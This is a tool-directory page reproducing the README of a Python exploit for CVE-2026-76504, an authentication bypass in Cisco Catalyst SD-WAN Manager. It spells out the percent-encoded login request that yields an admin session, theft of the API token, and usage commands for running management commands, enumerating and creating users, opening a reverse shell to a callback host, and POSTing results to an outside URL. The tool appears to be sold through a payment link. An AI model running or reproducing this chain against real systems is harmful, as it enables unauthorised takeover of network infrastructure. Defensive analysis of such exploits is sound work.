Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-76504-Cisco — Python exploit for CVE-2026-76504, a Cisco Catalyst SD-WAN Manager authentication bypass via percent-encoded j_security_check, with token theft, API calls, and reverse shell. | Kitploit
Tools/GitHubGitHub/maxprog-svg/cve-2026-76504-cisco
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationNetwork SecurityPenetration TestingAuthenticationRemote Access Tool
GitHub
maxprog-svg/cve-2026-76504-cisco

CVE-2026-76504-Cisco

Python exploit for CVE-2026-76504, a Cisco Catalyst SD-WAN Manager authentication bypass via percent-encoded j_security_check, with token theft, API calls, and reverse shell.

View Repository
12 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-76504 — Cisco Catalyst SD-WAN Manager Auth Bypass Exploit

Overview

CVE-2026-76504 is a critical authentication bypass (CVSS 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-177) in Cisco Catalyst SD-WAN Manager (vManage). It is listed in the CISA KEV catalogue and has been actively exploited in the wild since September 2026. There is no workaround; only patching removes the vulnerability.

The root cause is an inconsistent URI-normalisation between the authentication middleware and the request router. Percent-encoding a single character of the protected j_security_check login path makes the auth rule see a different (clean) URI while the router resolves the same (login) URI — so the server issues a valid admin session without any valid credentials.

Advisory: cisco-sa-sdwan-webauth-xr8beuuU


Affected Versions

BranchPatched in
20.9.x20.9.10.1
20.12.x20.12.8.2
20.15.x20.15.6.1
20.18.x20.18.4.1
26.1.x26.1.2.1
26.226.2.1

Exploit Chain

step1  POST /%6a_security_check        (%6a = percent-encoded 'j')
       -> the auth rule is skipped, the request is mapped to a
          'viptela-reserved-*' service account and a valid JSESSIONID
          is returned.

step2  GET  /dataservice/client/token  (with the JSESSIONID cookie)
       -> 128-char uppercase hex admin API token.

step3  authenticated admin API calls / command execution / reverse shell.
       Follow-up requests send the session cookie plus the token in the
       X-XSRF-TOKEN header (documented vManage API convention).

Requirements

  • Python 3.8+ — standard library only, no pip installs.
  • Network reachability to the target management API (TCP 443/8443).

Quick Start

# Verify the target is vulnerable
python3 exploit.py -t https://10.0.0.1 --check

# Full chain, human-readable output
python3 exploit.py -t https://10.0.0.1 --recon

# Machine-readable JSON report
python3 exploit.py -t https://10.0.0.1 --json

# Authenticated follow-up API call (repeatable)
python3 exploit.py -t https://10.0.0.1 \
  --api 'GET /dataservice/user/user'

# Execute a management command (repeatable)
python3 exploit.py -t https://10.0.0.1 \
  --cmd 'show version'

# Reverse shell with a local interactive listener
python3 exploit.py -t https://10.0.0.1 \
  --revshell --rs-host 10.0.0.2 --rs-port 4444 --listen

# Offline self-test against the built-in mock vManage
python3 exploit.py --selftest

Options

OptionDescription
-t, --targethost or scheme://host[:port] (default port 443)
--portoverride port
--httpforce plain HTTP
--insecureskip TLS certificate verification
--proxyforward proxy http://host:port
--timeoutper-request timeout in seconds (default 10)
-u, --userform j_username value (default admin; auth is bypassed)
-p, --passform j_password value (default admin; auth is bypassed)
--enc-charcharacter of j_security_check to percent-encode (default j)
--enc-stylelower (default), upper, or double encoding
--token-urladmin token endpoint (default /dataservice/client/token)
--skip-tokenstop after step1 (session only)
--checkverification only: step1, report, exit
--api SPECauthenticated call: `'METHOD PATH [json
--cmd CMDmanagement command under the stolen session (repeatable)
--cmd-urlcommand endpoint (default /dataservice/command)
--cmd-fieldJSON payload key carrying the command (default command)
--revshellbuild and issue a reverse-shell command
--rs-implbash (default), nc, python3, perl
--rs-host/--rs-portreverse-shell callback host/port
--listenstart a local listener and relay the shell interactively
--reconprobe candidate endpoints with the stolen session
--callback URLPOST the JSON report to a URL
--dump DIRsave response artifacts into a directory
--repeat Nrepeat the chain N times
--reqidsend X-Request-Id: <uuid4> (IOC fidelity)
--uaUser-Agent (default Mozilla/5.0)
-v, --verbosedump raw requests/responses
--jsonmachine-readable report only
--selftestoffline self-test via the built-in mock

Exit Codes

CodeMeaning
0bypass confirmed
1failed / verification error
2target unreachable

Examples

# Verify only (lowercase encoding)
python3 exploit.py -t 10.0.0.1 --port 8443 --check

# Uppercase / double encoding variants
python3 exploit.py -t https://10.0.0.1 --enc-style upper --check
python3 exploit.py -t https://10.0.0.1 --enc-style double --check

# Encode a different character of the path
python3 exploit.py -t https://10.0.0.1 --enc-char s --check

# Enumerate users via the stolen session
python3 exploit.py -t https://10.0.0.1 \
  --api 'GET /dataservice/user/user'

# POST JSON payload
python3 exploit.py -t https://10.0.0.1 \
  --api 'POST /dataservice/user {"userName":"x","password":"y"}'

# POST a payload from a file
python3 exploit.py -t https://10.0.0.1 \
  --api 'POST /dataservice/setting @payload.json'

# Save artifacts and POST the report to a callback
python3 exploit.py -t https://10.0.0.1 \
  --dump ./out --callback http://10.0.0.2:8000/report --json

# Through a forward proxy, ignoring TLS validation
python3 exploit.py -t https://10.0.0.1 \
  --proxy http://127.0.0.1:8080 --insecure --check

Notes

  • The default credentials (admin/admin) are only used as form field values; the auth rule itself is bypassed by the encoded path, so the credential values do not need to be correct on a vulnerable target.

  • --check performs step1 only and reports whether a session cookie was issued. It does not make any further authenticated calls.

  • The tool is a single, dependency-free file for authorised security testing and research only. Use it only against systems you are permitted to test.

    https://satoshidisk.com/pay/CSgu4Q

Download Tool